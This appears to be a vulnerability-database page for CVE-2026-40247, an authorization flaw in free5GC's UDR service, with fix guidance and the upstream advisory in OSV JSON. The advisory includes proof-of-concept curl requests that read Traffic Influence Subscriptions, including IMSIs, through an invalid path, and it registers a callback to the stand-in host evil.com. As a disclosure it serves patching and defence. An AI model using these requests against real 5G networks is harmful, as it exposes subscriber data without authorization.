CVE-2026-40247: Github.com/free5gc/udr Free5gc UDR Improper Path Validation Vulnerability
HIGHCVE-2026-40247 is a HIGH (CVSS 7.5) free5gc udr improper path validation vulnerability (CWE-285: Improper Authorization) affecting Github.com/free5gc/udr libraries in the Go ecosystem. The issue involves free5gc udr improper path validation allows unauthenticated access to traffic influence subscriptions. Remediation is available in the latest vendor maintenance releases.
CVE-2026-40247 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-40247
To remediate this vulnerability, upgrade all affected Github.com/free5gc/udr dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/free5gc/udr to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/free5gc/udr
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-40247, inspect your project dependencies for Github.com/free5gc/udr:
inspect dependencies for github.com/free5gc/udr
Analyze the terminal output to locate any version of Github.com/free5gc/udr in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Github.com/free5gc/udr, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40247 Affected Github.com/free5gc/udr Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/free5gc/udr
|
Go |
≤ 1.4.2
|
|
References
Frequently Asked Questions
What is CVE-2026-40247?
Which Github.com/free5gc/udr versions are affected?
What version fixes CVE-2026-40247?
Is github.com/free5gc/udr affected?
What is the CVSS score of CVE-2026-40247?
What CWE is associated with CVE-2026-40247?
How can I check Go dependencies for CVE-2026-40247?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x5r2-r74c-3w28",
"modified" : "2026-04-24T20:36:20Z",
"published" : "2026-04-14T20:00:35Z",
"aliases" : [ "CVE-2026-40247" ],
"summary" : "free5gc UDR improper path validation allows unauthenticated access to Traffic Influence Subscriptions",
"details" : "### Summary\nAn improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to read Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.\n\n### Details\nThe endpoint `GET /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.\n\nIn the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:\n\n1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet` in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go` checks whether `influenceId != \"subs-to-notify\"`.\n2. If the value is different, it calls `c.String(http.StatusNotFound, \"404 page not found\")`, **but it does not return afterwards**.\n3. Execution continues and the handler still calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdGetProcedure(c, subscriptionId)`.\n4. The processor retrieves and returns the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.\n\nAs a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still obtain the full subscription object in the same HTTP response body.\n\nThe missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.\n\n### PoC\nNo authentication is required. Only a valid `subscriptionId` is needed.\n\n```bash\n# Create a subscription to obtain a valid subscriptionId\ncurl -v -X POST \"http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"notificationUri\":\"http://evil.com/notify\",\n \"dnns\":[\"internet\"],\n \"snssais\":[{\"sst\":1,\"sd\":\"000001\"}],\n \"supis\":[\"imsi-222777483957498\"]\n }'\n```\nExample response:\n```\nHTTP/1.1 201 Created\n```\n\nThen read it through an invalid path:\n```bash\ncurl -v \"http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16\"\n```\nResponse:\n```\nHTTP/1.1 404 Not Found\n404 page not found{\"dnns\":[\"internet\"],\"snssais\":[{\"sst\":1,\"sd\":\"000001\"}],\"supis\":[\"imsi-222777483957498\"],\"notificationUri\":\"http://evil.com/notify\"}\n```\nFor comparison, the valid request is:\n```bash\ncurl -v \"http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16\"\n```\nResponse:\n```json\n{\"dnns\":[\"internet\"],\"snssais\":[{\"sst\":1,\"sd\":\"000001\"}],\"supis\":[\"imsi-222777483957498\"],\"notificationUri\":\"http://evil.com/notify\"}\n```\n### Impact\nThis is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI can retrieve Traffic Influence Subscription objects by knowing or guessing a valid subscriptionId, even when using an invalid path that should have been rejected.\n\nThe returned objects may contain sensitive subscriber-related information, including SUPIs/IMSIs, DNNs, S-NSSAIs, and callback notificationUri values.\n\nImpacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).\n\n### Patch\nThe vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,\nfunction HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet:\n```\ngo\nif influenceId != \"subs-to-notify\" {\n c.String(http.StatusNotFound, \"404 page not found\")\n return\n}\n```\nWith the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not disclose the targeted subscription data.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/free5gc/udr"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.4.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/free5gc/free5gc/security/advisories/GHSA-x5r2-r74c-3w28"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40247"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/free5gc/udr"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-285", "CWE-636" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-14T20:00:35Z",
"nvd_published_at" : "2026-04-16T22:16:38Z"
}
}